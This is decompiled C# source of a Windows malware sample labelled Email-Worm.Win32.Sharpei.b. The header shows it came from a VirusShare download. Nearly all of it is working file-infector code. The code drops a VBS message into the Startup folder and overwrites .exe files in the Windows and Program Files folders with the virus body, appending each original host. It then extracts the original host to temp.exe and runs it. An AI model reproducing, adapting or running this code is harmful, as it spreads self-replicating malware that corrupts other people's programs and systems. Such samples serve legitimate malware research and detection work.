// Decompiled with JetBrains decompiler
// Type: Sharp.Sharp
// Assembly: Sharp, Version=1.0.786.1197, Culture=neutral, PublicKeyToken=null
// MVID: C5414447-1586-4206-9133-31D57E99CDF8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Sharpei.b-ba994d47dbed6b77d6a39746bae626cc7cace4153e6108ee5e22a375dc335b84.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;

namespace Sharp
{
  public class Sharp
  {
    private static string virname = (string) Registry.LocalMachine.OpenSubKey("Software\\Sharp").GetValue("");

    [STAThread]
    private static void Main()
    {
      StreamWriter text = new FileInfo(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).FullName + "\\Sharp.vbs").CreateText();
      text.Write("MsgBox \"You're infected with Win32.HLLP.Sharp, written in C#, by Gigabyte/Metaphase\",64,\"title\"");
      text.Close();
      string fullName = new DirectoryInfo(Environment.SystemDirectory).Parent.FullName;
      string[] directories = Directory.GetDirectories(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)).FullName, "*.*");
      Sharp.Sharp.FileSearch(fullName);
      Sharp.Sharp.FileSearch(directories[11]);
      Sharp.Sharp.FileSearch(directories[12]);
      Sharp.Sharp.FileSearch(directories[13]);
      FileStream fileStream1 = new FileStream(Sharp.Sharp.virname, FileMode.Open, FileAccess.Read);
      FileStream fileStream2 = new FileStream("temp.exe", FileMode.OpenOrCreate);
      byte[] buffer = new byte[(int) checked ((uint) unchecked ((int) fileStream1.Length - 12288))];
      fileStream1.Seek(12288L, SeekOrigin.Begin);
      fileStream1.Read(buffer, 0, (int) fileStream1.Length - 12288);
      fileStream2.Write(buffer, 0, (int) fileStream1.Length - 12288);
      long length = fileStream2.Length;
      fileStream2.Close();
      if (length > 0L && !Sharp.Sharp.virname.EndsWith("MS02-010.exe"))
        new Process() { StartInfo = { FileName = "temp.exe" } }.Start();
      while (File.Exists("temp.exe"))
      {
        try
        {
          File.Delete("temp.exe");
        }
        catch
        {
        }
      }
    }

    private static void FileSearch(string DirectoryToCheck)
    {
      string[] files = Directory.GetFiles(DirectoryToCheck, "*.exe");
      int length = files.Length;
      for (int index = 0; index < length; ++index)
      {
        string str = files[index];
        FileStream fileStream1 = new FileStream(str, FileMode.Open, FileAccess.Read);
        fileStream1.Seek(18L, SeekOrigin.Begin);
        int num = fileStream1.ReadByte();
        fileStream1.Close();
        if (num != 103)
        {
          try
          {
            File.SetAttributes(str, FileAttributes.Normal);
            File.Copy(str, "hostcopy.exe", true);
            File.Copy(Sharp.Sharp.virname, str, true);
            FileStream fileStream2 = new FileStream("hostcopy.exe", FileMode.Open);
            FileStream fileStream3 = new FileStream(str, FileMode.Append);
            byte[] buffer = new byte[(int) checked ((uint) unchecked ((int) fileStream2.Length))];
            fileStream2.Read(buffer, 0, (int) fileStream2.Length);
            fileStream3.Write(buffer, 0, (int) fileStream2.Length);
            fileStream2.Close();
            fileStream3.Close();
          }
          catch
          {
          }
        }
      }
      File.Delete("hostcopy.exe");
    }
  }
}
